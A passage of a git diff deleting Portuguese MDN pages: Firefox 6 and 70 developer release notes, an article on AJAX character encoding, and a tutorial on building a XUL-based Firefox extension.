  • O valor do campo de caminho nos cabeçalhos Set-Cookie é agora interpretado corretamente quando são usadas aspas duplas; anteriormente elas estavam sendo tratadas como parte da string de caminhos ao invés de delimitadores. Esta mudança pode afetar a compatibilidade com alguns sites, os autores devem, desta forma, checar seu código.
  • -
- -

Outras alterações

- -
    -
  • O suporte à microresumos foi removido; estes nunca foram amplamente utilizados, não sendo muito detectáveis. Continuar o suporte a isto estava dificultando a melhoria da arquitetura do Places (favoritos e histórico)
  • -
  • O WebGL agora suporta a extensão OES_texture_float.
  • -
- -

Alterações para os programadores de extras e da Mozilla

- -
Nota: o Firefox 6 necessita que os componentes binários sejam recompilados, assim como todos os lançamentos maiores do Firefox. Veja Interfaces Binárias (en) para detalhes.
- -

Módulos de código JavaScript

- -

FileUtils.jsm

- -
    -
  • O método openSafeFileOutputStream() agora abre arquivos com a flag de comportamento (en) DEFER_OPEN  ao invés de tentar abri-los imediatamente.
  • -
- -

XPCOMUtils.jsm

- -
    -
  • O novo método importRelative() permite carregar um módulo de código JavaScript de um caminho relativo de outro módulo JavaScript. Isto facilita a construção de módulos que dependam um do outro.
  • -
- -

XPCOM

- - - -

Usando o DOM do chrome

- -
-
Using the DOM File API in chrome code
-
Embora sempre tenha sido possível utilizar a API File do DOM do código chrome, o construtor File agora suporta a especificação de uma string de nome de caminho local quando usada através do chrome. Adicionalmente, você também pode especificar o arquivo para acessar usando a API File do DOM usando um objeto nsIFile.
-
- -

Alterações da interface

- -
    -
  • nsINavHistoryQueryOptions agora suporta classificação por ordem de frequência, usando as novas constantes SORT_BY_FRECENCY_ASCENDING e SORT_BY_FRECENCY_DESCENDING.
  • -
  • nsIFilePicker possui um novo atributo nsIFilePicker.addToRecentDocs, o qual permite indicar que o arquivo selecionado deve ser adicionado à lista de "documentos recentes" do usuário, se houver alguma. Este atributo não tem efeito no modo de navegação privativa.
  • -
- -

Novas interfaces

- - - -

Interfaces removidas

- -
    -
  • A interface nsIDOMDocumentTraversal foi removida. Foi um detalhe de implementação que expirou sua utilidade.
  • -
  • A interface nsIDOMDocumentRange foi removida. Foi um detalhe de implementação que expirou sua utilidade.
  • -
  • A interface IWeaveCrypto foi removida. Foi um detalhe de implementação que expirou sua utilidade.
  • -
  • A interface nsIDOM3DocumentEvent foi removida. Foi um detalhe de implementação que expirou sua utilidade.
  • -
  • A interface nsIDOMAbstractView foi removida. Foi um detalhe de implementação que expirou sua utilidade.
  • -
  • A interface nsILiveTitleNotificationSubject foi removida. Foi um detalhe de implementação que expirou sua utilidade.
  • -
- -

Veja também

- - - -

Outras alterações

- -
-
Using preferences from application code
-
A new static API is available for easily accessing preferences; this is only available to application code and can't be used by add-ons.
-
- -

Consultar também

- -
diff --git a/files/pt-pt/mozilla/firefox/releases/70/index.html b/files/pt-pt/mozilla/firefox/releases/70/index.html deleted file mode 100644 index 7b67fba949..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/70/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Firefox 70 para programadores -slug: Mozilla/Firefox/Releases/70 -tags: - - '70' - - Firefox - - Lançamento - - Mozilla -translation_of: Mozilla/Firefox/Releases/70 ---- -

{{FirefoxSidebar}}{{Draft}}

- -

Este artigo fornece informaçaõ acerca das alterações no Firefox 70 que irão afetar od programadores. O Firefox 70 é a versão Beta atual do Firefox, e irá ser distribuida no dia 22 de outubro de 2019.

- -

Alterações para os programadores da Web

- -

Ferramentas do programador

- -
    -
  • An icon will be displayed next to invalid or unsupported CSS rules in the Rules pane of the Page Inspector ({{bug(1306054)}}).
  • -
- -

Removals

- -

HTML

- -

No changes.

- -

 Removals

- -

CSS

- -
    -
  • Opacity values like for {{cssxref("opacity")}} or {{SVGAttr("stop-opacity")}} can now be percentages ({{Bug(1562086)}}).
  • -
  • {{cssxref("grid-auto-columns")}} and {{cssxref("grid-auto-rows")}} now accept multiple track-size values ({{Bug(1339672)}}).
  • -
  • A number of text-related CSS properties have been enabled by default ({{bug(1573631)}}): -
      -
    • {{cssxref("text-decoration-thickness")}}.
    • -
    • {{cssxref("text-underline-offset")}}.
    • -
    • {{cssxref("text-decoration-skip-ink")}}. The default value is auto, which means that by default underlines and overlines are now interrupted where they would otherwise cross over a {{Glossary("glyph")}}.
    • -
    -
  • -
  • The {{cssxref("display")}} property now accepts two keywords for the inner and the outer display type ({{Bug(1038294)}}, {{Bug(1105868)}} and {{Bug(1557825)}}).
  • -
  • The {{cssxref("font-size")}} property now accepts the new keyword xxx-large. ({{Bug(1553545)}}).
  • -
  • The {{cssxref(":visited")}} pseudo-class no longer matches {{htmlelement("link")}} elements, for logic and performance reasons ({{bug(1572246)}}; see Intent to ship: Make <link> elements always unvisited and [selectors] :link and <link> for more reasoning as to why).
  • -
  • We now support an auto value for the {{cssxref("quotes")}} property ({{bug(1421938)}}).
  • -
  • Stylesheets contained in {{htmlelement("style")}} elements are now cached for reuse, to improve performance ({{bug(1480146)}}). Note that this currently doesn't include stylesheets that contain @import rules.
  • -
  • The <ratio> type now accepts <number> / <number> or a single <number> as a value. ({{bug(1565562)}}).
  • -
- -

Removals

- -
    -
  • Retiring support for 3-valued <position> (excluding background)({{Bug(1559276)}}). See site compat note.
  • -
  • none is now invalid in {{cssxref("counter")}} / {{cssxref("counters")}} — a change which makes the Level 3 spec match CSS 2.1 {{Bug(1576821)}}).
  • -
- -

SVG

- -

No changes.

- -

Removals

- -

JavaScript

- -
    -
  • Add support for numeric separators. {{Bug(1435818)}}.
  • -
- -

Removals

- -

APIs

- -
    -
  • The {{domxref("History.back","back()")}}, {{domxref("History.forward","forward()")}}, and {{domxref("History.go","go()")}} methods are now asynchronous. Add a listener to the {{domxref("Document/defaultView/popstate_event", "popstate")}} event to get notification that navigation has completed {{Bug(1563587)}}.
  • -
- -

Novas APIs

- -

DOM

- -
    -
  • Add {{DOMxRef("DOMMatrix")}}, {{DOMxRef("DOMPoint")}}, etc. support in web workers ({{bug(1420580)}}).
  • -
- -

Eventos DOM

- -

Service workers

- -

Media, Web Audio, and WebRTC

- -

Canvas and WebGL

- -
    -
  • We now support {{domxref("CanvasRenderingContext2D.getTransform()")}}, and the newer variant of {{domxref("CanvasRenderingContext2D.setTransform()")}} that accepts a matrix object as a parameter rather than multiple parameters representing the individual components of the matrix ({{bug(928150)}}).
  • -
- -

Removals

- -

Segurança

- -

No changes.

- -

Removals

- -

Plug-ins

- -

No changes.

- -

Removals

- -

Outros

- -

No changes.

- -

Removals

- -

Alterações para os programadores de extras (add-on)

- -

Alterações de API

- -

Sem alterações.

- -

Removals

- -

Alfetarções de Manifest

- -

Sem alterações.

- -

Removals

- -

Consultar também:

- - - -

Versões antigas

- -

{{Firefox_for_developers(69)}}

diff --git a/files/pt-pt/mozilla/firefox/releases/index.html b/files/pt-pt/mozilla/firefox/releases/index.html deleted file mode 100644 index 68bc5d41e9..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Firefox - Notas de lançamento do programador -slug: Mozilla/Firefox/Releases -tags: - - Firefox - - Landing - - Lançamento - - Mozilla -translation_of: Mozilla/Firefox/Releases ---- -
{{FirefoxSidebar}}
- -

Esta página fornece hiperligações para os artigos de "Firefox X para programadores" para cada lançamento do Firefox. Estas notas deixam-no ver quais as funcionalidades que foram adicionadas e os erros eliminados em cada versão do Firefox. Tudo escrito para dar aos programadores como você a informação de que eles mais precisam. Seja bem-vindo.

- -
{{ListSubpages("",1,1,1)}}
- -
 
- -

Ufa! Isso é muito de Firefoxen!

- -

Consultar também

- - diff --git a/files/pt-pt/mozilla/index.html b/files/pt-pt/mozilla/index.html deleted file mode 100644 index 347e26f48e..0000000000 --- a/files/pt-pt/mozilla/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Mozilla -slug: Mozilla -tags: - - Aplicações - - Apps - - Avançado - - Extras - - Mozilla -translation_of: Mozilla ---- -
-

Os artigos abaixo, incluem conteúdo sobre transferência e criação de código da Mozilla. Além disso, irá encontrar artigos úteis sobre como o código funciona, como criar extras para as aplicações da Mozilla, etc.

- -

{{LandingPageListSubpages}}

-
diff --git "a/files/pt-pt/orphaned/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" "b/files/pt-pt/orphaned/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" deleted file mode 100644 index 137256735c..0000000000 --- "a/files/pt-pt/orphaned/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Acentuação para conteúdos carregados por AJAX -slug: orphaned/Acentuação_para_conteúdos_carregados_por_AJAX -tags: - - AJAX - - AJAX:Artigos - - Artigos - - Todas_as_Categorias -original_slug: Acentuação_para_conteúdos_carregados_por_AJAX ---- -

Explicações Iniciais

-

Este artigo trata dos problemas de acentuação na recuperação de um conteúdo via AJAX e NÃO do envio via métodos GET ou POST. Para o tratamento de problemas no ENVIO, veja esta solução (no sub-capítulo "Recebendo os dados (no PHP)". -

O XMLHttpRequest, o motor por trás do AJAX, trabalha no padrão UTF-8 por default, tanto para enviar dados quanto pra receber. Isso vem do próprio browser. Nos primórdios da internet, o Tim Berners-Lee ainda não estava tão preocupado com a internacionalização do HTML. Este esforço só começou a acontecer em novembro de 1995, depois da formação da W3C, onde visavam extender as capacidades do HTML 2. -

Atualmente, os navegadores que implementam Ajax também costumam apresentar vários problemas com nossos caracteres em português, ou outras línguas que possuam acentuação. -

Para resolver este problema, o melhor método seria o uso de HTML Entities, porém nem sempre é possível. -De forma a contornar isto, vemos pela internet muitas complicações usando funções JavaScript e funções como encode, escape, etc nos scripts do lado do servidor (ASP, PHP, JSP, etc). Uma complicação só!!! -

A forma recomendada, além do HTML entities, para corrigir o problema da acentuação no Ajax é através da definição correta do charset. -

Para renderizar nosso português você pode usar o charset ISO-8859-1. Tente padronizar o ISO-8859-1 em todas as partes ligadas ao seu sistema: charset do banco de dados (caso haja algum envolvido), meta charset da página HTML, e o mais importante: -

Você deve enviar cabeçalhos do servidor para o navegador, informando que você usará ISO-8859-1. -

Como fazer isto? -

-
  • configurar seu servidor pra servir ISO-8859-1 por padrão, se você tiver acesso a isto (adicionando uma linha no arquivo httpd.conf para servidores Apache) OU -
  • indicar o charset correto no início do seu script server side, com apenas 1 (uma) linha de código passadas abaixo. -
-

O código

-
  • Em ColdFusion: -
-
<cfcontent type="text/html; charset=ISO-8859-1">
-
-
  • Em ASP: -
-
<% Response.Charset="ISO-8859-1" %>
-
-
  • Em PHP: -
-
<?php header("Content-Type: text/html;  charset=ISO-8859-1",true); ?>
-
-
  • Em JSP: -
-
<%@ page contentType="text/html; charset=ISO-8859-1" %>
-
-
  • (Se voce conhece como alterar para outras linguagens server-side, edite este artigo e conte-nos :) ) -
-

Lembrando que os códigos devem ser colocados no início de seu script (pra quem tem pouca experiência com a linguagem server side). -Testado com sucesso no IE6 e FF1.5. -

Você também pode tentar usar só a tag META em arquivos HTML simples, mas não é confiável.

-
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
-
-

Caso você saiba a forma correta de editar a tag META para que os caracteres do português funcionem corretemente, edite este post e informe-nos. -

-

Observações finais:

-

Gostaria de lembrar que esta solução funciona apenas para a recuperação da página no servidor e não para o envio de dados via AJAX! Uma ótima solução encontrada na internet para o envio dos dados pode ser encontrada em ou . -

Há também outra possível causa para problemas de caracteres: o seu banco de dados. Alguns BD's, guardam seus dados apenas em UTF-8, e aí ocorre a perda de caracteres. Verifique isso também caso os códigos acima não tenham dado certo. -

- diff --git a/files/pt-pt/orphaned/componentes/index.html b/files/pt-pt/orphaned/componentes/index.html deleted file mode 100644 index c6ca4afa20..0000000000 --- a/files/pt-pt/orphaned/componentes/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Componentes -slug: orphaned/Componentes -tags: - - Componentes - - NecessitaDeConteúdo - - Referência_da_API_do_XPCOM - - Todas_as_Categorias - - XPCOM -original_slug: Componentes ---- -


- Necessitamos duma lista detalhada de Componentes aqui, do género da lista de Interfaces.

- -

Componentes, Listagem Alfabética (incompleto)

- - diff --git "a/files/pt-pt/orphaned/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" "b/files/pt-pt/orphaned/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" deleted file mode 100644 index b25138405c..0000000000 --- "a/files/pt-pt/orphaned/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" +++ /dev/null @@ -1,6 +0,0 @@ ---- -title: Configurando um servidor de atualização -slug: orphaned/Configurando_um_servidor_de_atualização -original_slug: Configurando_um_servidor_de_atualização ---- -

O objetivo deste documento é fornecer instruções básicas sobre a configuração de seu próprio servidor de atualização.

diff --git "a/files/pt-pt/orphaned/construir_uma_extens\303\243o/index.html" "b/files/pt-pt/orphaned/construir_uma_extens\303\243o/index.html" deleted file mode 100644 index 1123eb2bbd..0000000000 --- "a/files/pt-pt/orphaned/construir_uma_extens\303\243o/index.html" +++ /dev/null @@ -1,228 +0,0 @@ ---- -title: Construir uma Extensão -slug: orphaned/Construir_uma_Extensão -tags: - - Extensões -original_slug: Construir_uma_Extensão ---- -

Introdução

-

Este tutorial lhe dará uma visão bem básica dos passos para construir uma extensão - que adiciona um item na barra de status do Firefox contendo o texto "Hello, World!"

-
-

Nota Este tutorial é voltado para o desenvolvimento de extensões para Firefox 1.5 ou 2.0. Existem outros tutoriais para o desenvolvimento extensões para versões mais antigas do Firefox.

-
-

Ajustando o Ambiente de Desenvolvimento

-

As extensões são empacotadas e distribuídas em arquivos ZIP, ou Bundles, arquivos com a extensão xpi (pronunciado “zippy”). A disposição do conteúdo dentro do arquivo XPI é assim:

-
extension.xpi:
-              /install.rdf
-              /components/*
-              /components/cmdline.js
-              /defaults/
-              /defaults/preferences/*.js
-              /plugins/*
-              /chrome/
-              /chrome.manifest
-              /chrome/icons/default/*
-              /chrome/content/
-
-
-

Por isso, é mais fácil dispor seus arquivos de código de uma forma similar, a menos que você queira escrever algum tipo de Makefile ou shell script para empacotar e fechar todos os seus arquivos. Mesmo que esteja preparado para fazer isso, testar é muito mais simples se você dispuser seus arquivos desta maneira, devido a uma característica do Sistema de Add-on proporcionado a partir do Firefox 1.5.

-

Assim, vamos começar. Crie uma pasta para sua extensão em algum lugar do disco rígido, por exemplo C:\extensions\myExtension\ ou ~/extensions/myExtension/. Dentro desta pasta crie outra pasta chamada chrome, e dentro da pasta chrome crie outra pasta chamada content. (Em sistemas como o Unix você pode normalmente criar todos os três diretórios somente rodando mkdir -p chrome/content dentro do diretório root (raiz) da extensão.)

-

Dentro da raiz da sua pasta da extensão, ao lado da pasta chrome, crie dois novos arquivos de texto vazios, um chamado chrome.manifest e outro chamado install.rdf.

-

Mais ajuda no desenvolvimento de extensões pode ser encontrada na página Mozillazine Knowledge Base.

-

Criando o manifesto de instalação

-

Abra o arquivo chamado install.rdf que você criou no topo da pasta da sua extensão e coloque isto nele:

-
<?xml version="1.0"?>
-
-<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
-     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
-
-  <Description about="urn:mozilla:install-manifest">
-    <em:id>sample@example.net</em:id>
-    <em:version>1.0</em:version>
-    <em:type>2</em:type>
-
-    <!-- Target Application this extension can install into,
-         with minimum and maximum supported versions. -->
-    <em:targetApplication>
-      <Description>
-        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
-        <em:minVersion>1.5</em:minVersion>
-        <em:maxVersion>2.0.0.*</em:maxVersion>
-      </Description>
-    </em:targetApplication>
-
-    <!-- Front End MetaData -->
-    <em:name>Amostra!</em:name>
-    <em:description>Uma extensão de teste</em:description>
-    <em:creator>Seu Nome Aqui</em:creator>
-    <em:homepageURL>http://www.foo.com/</em:homepageURL>
-  </Description>
-</RDF>
-
-
    -
  • sample@example.net - o ID da extensão. Este é um valor que você usa para identificar sua extensão em formato de endereço de e-mail (note que isto não precisa ser o seu e-mail). Faça isto único. Você pode também usar um GUID. NOTA: Este parametro PRECISA estar no formato de um endereço de e-mail, no entanto NÃO precisa ser um e-mail válido.
  • -
  • Especifique <em:type>2</em:type> -- o 2 declara que isto instala uma extensão. Se você for instalar um tema o número será 4 (veja Install Manifests#type para outros tipos de código).
  • -
  • {ec8030f7-c20a-464f-9b0e-13a3a9e97384} - ID de aplicação Firefox.
  • -
  • 1.5 - a versão mínima do Firefox que você está dizendo que esta extensão poderá trabalhar. Coloque isto como a versão mínima, você cometerá e testará bugs (problemas) com isso.
  • -
  • 2.0.0.* - a versão máxima do Firefox que você está dizendo que esta extensão poderá trabalhar. Coloque isto com a versão mais nova disponível atualmente! Neste caso, "2.0.0.*" indica que a extensão trabalha com versões do Firefox 2.0.0.0 até 2.0.0.x.
  • -
-

Extensões desenhadas para trabalhar com o Firefox 1.5.0.x devem ser colocadas no máximo com a versão "1.5.0.*".

-

Veja Install Manifests para uma lista completa das propriedades requeridas e opcionais.

-

Salve o arquivo.

-

Estendendo o navegador com XUL

-

A interface do usuário do Firefox é escrita em XUL e JavaScript. XUL é uma gramática XML que proporciona widgets como botões, menus, barras de ferramentas, árvores, etc. As ações do usuário são limitadas à funcionalidade usando JavaScript.

-

Para extender o navegador, nós modificamos partes da UI do navegador adicionando ou modificando widgets. Nós adicionamos widgets inserindo novos elementos DOM XUL na janela do navegador, e os modificamos utilizando scripts e anexando manipuladores de evento.

-

O navegador é implementado por um arquivo XUL chamado browser.xul ($FIREFOX_INSTALL_DIR/chrome/browser.jar que contém content/browser/browser.xul). Em browser.xul nós podemos encontrar a barra de status, semelhante a isso:

-
<statusbar id="status-bar">
- ... <statusbarpanel>s ...
-</statusbar>
-
-

<statusbar id="status-bar"> é o "ponto de fusão" para a sobreposição XUL (XUL Overlay).

-
Sobreposição (overlay) XUL
-

XUL Overlays é um modo de anexar outras widgets da UI a um documento XUL durante a execução. Um Overlay XUL é um arquivo .xul que especifica fragmentos de XUL para inserir em pontos específicos de junção dentro de um documento "master". Estes fragmentos podem especificar widgets para serem inseridas, removidas ou modificadas.

-

Exemplo de Documento de Sobreposição XUL

-
<?xml version="1.0"?>
-<overlay id="sample"
-         xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
- <statusbar id="status-bar">
-  <statusbarpanel id="my-panel" label="Hello, World"/>
- </statusbar>
-</overlay>
-
-

A <statusbar> chamada status-bar especifica o "ponto de junção" dentro da janela do navegador a que nós queremos anexar.

-

O sub-item de <statusbarpanel> é um novo widget que nós queremos para inserir dentro do ponto de junção.

-

Pegue esta amostra de código acima e salve-a em um arquivo chamado sample.xul dentro da pasta chrome/content que você criou.

-

Para mais informaçõs sobre junção de widgets e modificação da interface de usuário usando Overlays, veja abaixo.

-

URLs Chrome

-

Arquivos XUL são parte do "Chrome Packages" - pacotes dos componentes da interface de usuário que são carregados via URLs chrome://. Melhor que carregar o navegador pelo disco usando um URL file:// (a localização do Firefox no sistema pode mudar de plataforma para plataforma e sistema para sistema), desenvolvedores Mozilla surgiram com uma solução para criar URLs para conteúdo XUL em que a aplicação instalada sabe como fazer.

-

A janela do navegador é: chrome://browser/content/browser.xul. Tente digitar esta URL na barra de localização do Firefox!

-

Chrome URLs consistem em diversos componentes:

-
    -
  • Primeiramente, o esquema URL (chrome) que diz à biblioteca de rede do Firefox que isto é um Chrome URL. Isto indica que o conteúdo da URL deve ser manipulado como um (chrome). Compare (chrome) a (http) que diz ao Firefox para tratar a URL como uma página da web.
  • -
  • Secundariamente, um nome de pacote (no exemplo acima, browser) que indentifica o pacote dos componentes da interface de usuário. Isto deve ser único para sua aplicação sempre que possível para evitar colisões entre extensões.
  • -
  • Terciariamente, o tipo de dados é requisitado. Existem três tipos: content (XUL, JavaScript, XBL bindings, etc. que formam a estrutura e o comportamento de uma aplicação UI), locale (DTD, arquivos .properties, etc. que contêm strings para as localizações UI), e skin (CSS e imagens que formam o tema da UI)
  • -
  • Finalmente, o trajeto de um arquivo para carregar.
  • -
-

Então, chrome://foo/skin/bar.png carrega o arquivo bar.png do tema de foo na seção skin.

-

Quando você carrega conteúdo usando um Chrome URL, Firefox usa o Registro Chrome para traduzir estas URLs no atual arquivo de código no disco (ou em pacotes JAR).

-

Criando um Manifesto Chrome

-

Para mais informações sobre Manifestos Chrome e as propriedades que eles suportam, veja a referência Chrome Manifest.

-

Abra o arquivo chamado chrome.manifest que você criou ao lado do diretório chrome na raiz da pasta de código da sua extensão.

-

Adicione este código:

-
content     sample    chrome/content/
-
-

(Não se esqueça da barra, "/"! Sem ela, a extensão não será registrada.) Nota: Tenha certeza de ter digitado tudo em letras minúsculas para o nome do pacote ("sample") no Firefox/Thunderbird 1.5 não há suporte à letras maiúsculas. Aparentemente haverá na versão 2.

-

Isto especifica o:

-
    -
  1. tipo do material dentro do pacote chrome
  2. -
  3. nome do pacote chrome
  4. -
  5. localização dos arquivos do pacote chrome
  6. -
-

Então, esta linha diz que para o pacote chrome sample, nós podemos achar estes arquivos content (de conteúdo) na localização chrome/content onde está o caminho relativo à localização do chrome.manifest.

-

Note que os arquivos de conteúdo, localização e pele precisam estar no interior das pastas chamadas content (conteúdo), locale (localização) e skin (pele) dentro do subdiretório chrome.

-

Salve o arquivo. Quando você rodar o Firefox com sua extensão, (depois neste tutorial), isto irá registrar o pacote chrome.

-

Registrando uma Sobreposição

-

Você precisa do Firefox para fundir da sua sobreposição com a janela do navegador sempre que ela for exibida. Então adicione esta linha ao seu arquivo chrome.manifest:

-
overlay chrome://browser/content/browser.xul chrome://sample/content/sample.xul
-
-

Isto dirá ao Firefox para fundir sample.xul em browser.xul quando browser.xul for carregado.

-

Teste

-

Primeiro, nós precisamos falar ao Firefox sobre a sua extensão. Nos velhos e maus dias do Firefox 1.0, isto significava empacotar sua extensão como um XPI e instalar através da interface de usuário, na qual havia uma dificuldade real. Agora é muito mais simples.

-
    -
  1. Abra sua Profile Folder
  2. -
  3. Abra a pasta extensions (crie-a se ela não existir)
  4. -
  5. Crie um novo arquivo de texto, e coloque o caminho para a pasta da extensão dentro, e.g. C:\extensions\myExtension\ ou ~/extensions/myExtension. Salve o arquivo com o id da sua extensão como seu nome, e.g. sample@foo.net.
  6. -
-

Agora você está pronto para testar sua extensão!

-

Inicie o Firefox. O Firefox irá detectar o link para o diretório da sua extensão e instalará a extensão. Quando a janela do navegador aparecer você poderá ver o texto "Hello, World!" ao lado direito do painel da barra de estado.

-

Você pode agora retornar e fazer mudanças no arquivo .xul, fechar e reiniciar o Firefox, e elas aparecerão. Isto realmente não combina com a extensão descrita e confunde as pessoas. -Nickolay CENTER> Image:Helloworld_tools_menu.PNG Image:Helloworld_extensions_wnd.PNG </CENTER

-

Pacote

-

Agora que sua extensão trabalha, você pode empacotá-la (package) para distribuição e instalação.

-

Empacote o conteúdo da pasta da extensão (não a pasta da extensão), e renomeie o arquivo empacotado para ter uma extensão .xpi. No Windows XP, você pode fazer isto facilmente selecionando todos os arquivos e sub pastas na pasta da sua extensão, com um clique do botão direito e a escolha "Enviar para -> Pasta Comprimida". Um arquivo .zip será criado para você. Somente renomeie-o e pronto!

-

No Mac OS X, você pode com um clique do botão direito sobre a pasta da extensão escolher "Criar Arquivo de..." para fazer o arquivo .zip. No entanto, desde que o Mac OS X adiciona arquivos escondidos à pastas para ordenar os metadados do arquivo, você deve em vez disso usar o Terminal, deletar os arquivos escondidos (cujos nomes começam com um período), e então usar o comando zip na linha de comando para criar o arquivo .zip.

-

No Linux, você pode do mesmo modo usar a ferramenta Zip pela linha de comando.

-

Se você tem a extensão 'Extension Builder' instalada ela pode compilar o arquivo .xpi para você (Ferramentas -> Desenvolvimento de Extensões -> Construtor de Extensões). Meramente navegue até o diretório onde sua extensão está (install.rdf etc.), e clique no botão Construir Extensão. Esta extensão possui várias ferramentas para tornar o desenvolvimento mais fácil.

-

Agora atualize o arquivo .xpi no seu servidor, assegurando-se que ele serve como application/x-xpinstall. Você pode ligar para isto e permitir as pessoas baixarem e instalarem-na no Firefox. Para os propósitos de somente testar nosso arquivo .xpi nós podemos apenas arrastá-lo até a janela de extensões via Ferramentas -> Complementos -> Extensões.

-
Usando addons.mozilla.org
-

Mozilla Update é um site de distribuição onde você pode hospedar sua extensão de graça. Sua extensão irá ser hospedada na rede de espelho Mozilla para garantir seu download mesmo quando se tornar mais popular. O site Mozilla também proporciona aos usuários uma instalação simples, e colocará automaticamente suas versões mais novas disponíveis para os usuários das suas versões já existentes quando você atualizá-las. Em adição o Mozilla Update permite aos usuários comentar e proporcionar avaliações da sua extensão. Isto é altamente recomendado se você usa o Mozilla Update para distribuir suas extensões!

-

Visite http://addons.mozilla.org/developers/ para criar uma conta e começar a distribuir suas extensões!

-

Nota: Sua extensão será passada rapidamente e mais baixada, se você tiver uma boa descrição e algumas fotos da extensão em ação.

-
Registrando Extensões no Registro do Windows
-

No Windows, informação sobre extensões pode ser adicionada ao registro, e as extensões serão automaticamente "colhidas" na próxima vez que a aplicação iniciar. Isto permite que os instaladores de aplicação adicionem facilmente os ganchos de integração como extensões. Veja Adding Extensions using the Windows Registry para mais informações.

-

Mais sobre Sobreposições XUL

-

Além de adicionar widgets UI ao ponto de fusão, você pode usar fragmentos XUL dentro da sobreposição para:

-
    -
  • Modificar atributos no ponto de fusão, e.g. <statusbar id="status-bar" hidden="true"/> (esconde a barra de estado)
  • -
  • Remove o ponto de fusão do documento mestre, e.g. <statusbar id="status-bar" removeelement="true"/>
  • -
  • Controla a posição das widgets inseridas:
  • -
-
<statusbarpanel position="1" .../>
-
-<statusbarpanel insertbefore="other-id" .../>
-
-<statusbarpanel insertafter="other-id" .../>
-
-

Criando Novos Componentes na Interface de Usuário

-

Você pode criar suas próprias janelas e caixas de diálogo em arquivos .xul separados, proporcionar funcionalidades pela implementação de ações de usuário em arquivos .js, usando métodos DOM para manipular widgets UI. Você pode usar regras de estilo em arquivos .css para anexar imagens, configurar cores, etc.

-

Veja a documentação XUL para mais recursos para desenvolvedores XUL.

-

Arquivos Padrão

-

Arquivos padrão que você usa para escalar um perfil de usuário que deve ser colocado em defaults/ sob a raiz da pasta da sua extensão. Preferências padrão em arquivos .js devem ser armazenadas em defaults/preferences/ — quando você as coloca aqui elas são automaticamente carregadas pelas preferências do sistema do Firefox quando ele é iniciado, então você pode acessá-las usando o Preferences API.

-

Componentes XPCOM

-

O Firefox suporta componentes XPCOM nas extensões. Você pode criar seus próprios componentes facilmente em JavaScript ou em C++ (usando o Gecko SDK).

-

Coloque todos os seus arquivos .js ou .dll no diretório components — eles são automaticamente registrados na primeira vez que o Firefox rodar depois que sua extensão for instalada.

-

Para mais informações, veja os livros How to Build an XPCOM Component in Javascript e Creating XPCOM Components.

-
Aplicação de Linha de Comando
-

Um dos possíveis usos dos componentes customizados XPCOM é adicionar um manipulador de linha de comando para o Firefox ou Thunderbird. Você pode usar esta técnica para rodar sua extensão como uma aplicação:

-
 firefox.exe -myapp
-
-

Devo mover as partes úteis disto para a página Command Line. -Nickolay Isto é feito adicionando um componente que contém a função... function NSGetModule(comMgr, fileSpec) { return myAppHandlerModule; } Esta função roda pelo Firefox cada vez que ele é iniciado. O Firefox registra o myAppHandlerModule's chamando-o 'registerSelf()'. Então isto obtém a fábrica de manipulador myAppHandlerModule's via 'getClassObject()'. A fábrica de manipulador é usada para criar a manipulação usando isto 'createInstance(). Finalmente, a manipulação 'handle(cmdline)' processa a linha de comando cmdline's handleFlagWithParam() e handleFlag(). Veja Chrome: Command Line e a discussão no fórum para detalhes (em inglês).

-

Localização

-

Para suportar mais que uma linguagem, você deve separar as strings do seu conteúdo usando entities e string bundles. É muito mais fácil fazer isto se você estiver desenvolvendo sua extensão do que retornar fazer isto mais tarde!

-

Informação de localização é armazenada no diretório local (locale) da extensão. Por exemplo, para adicionar um local à nossa extensão de amostra, crie um diretório chamado "locale" em chrome (onde o diretório "content está localizado) e adicione a linha seguinte ao arquivo chrome.manifest:

-
locale sample sampleLocale chrome/locale/
-
-

Para criar valores atributos localizáveis em XUL, você colocar os valores em um arquivo .ent (ou um .dtd), o qual deve ser colocado no diretório locale e ser como este:

-
<!ENTITY  button.label     "Click Me!">
-<!ENTITY  button.accesskey "C">
-
-

E depois incluí-lo no topo do seu documento XUL (mas embaixo de '<?xml version"1.0"?>') assim:

-
<!DOCTYPE window SYSTEM "chrome://packagename/locale/filename.ent">
-
-

Onde window é o valor localName do elemento raiz do documento XUL, e o valor da propriedade SYSTEM é o chrome URL para o arquivo de entidade. Para a nossa extensão de amostra, o elemento raiz é overlay.

-

Para usar as entidades, modifique seu XUL para isto:

-
<button label="&button.label;" accesskey="&button.accesskey;"/>
-
-

O Registro Chrome assegurará que o arquivo da entidade seja carregado do pacote de localização correspondente ao local selecionado.

-

Para strings que você usa no script, crie um arquivo .properties, um arquivo de texto que tem uma string em cada linha, neste formato:

-
key=value
-
-

e então use as etiquetas en:nsIStringBundleService/en:nsIStringBundle ou <stringbundle> para carregar os valores dentro do script.

-

Entendendo o navegador

-

Use o DOM Inspector (não é parte da instalação padrão do Firefox, você precisa reinstalá-lo pelo caminho da instalação customizada e escolher Ferramentas de Desenvolvedor se não houver um item "DOM Inspector" no menu de Ferramentas do seu navegador) para inspecionar a janela do navegador ou qualquer outra janela XUL que você precisar extendê-la.

-

Use o botão esquerdo do mouse para achar o nó no topo esquerdo da barra de ferramentas do DOM Inspector, clicando em um nó ele é selecionado e exibe o XUL na janela ao lado. Quando você faz isto a visão da árvore de hierarquia do DOM Inspector irá pular para o nó que você clicou.

-

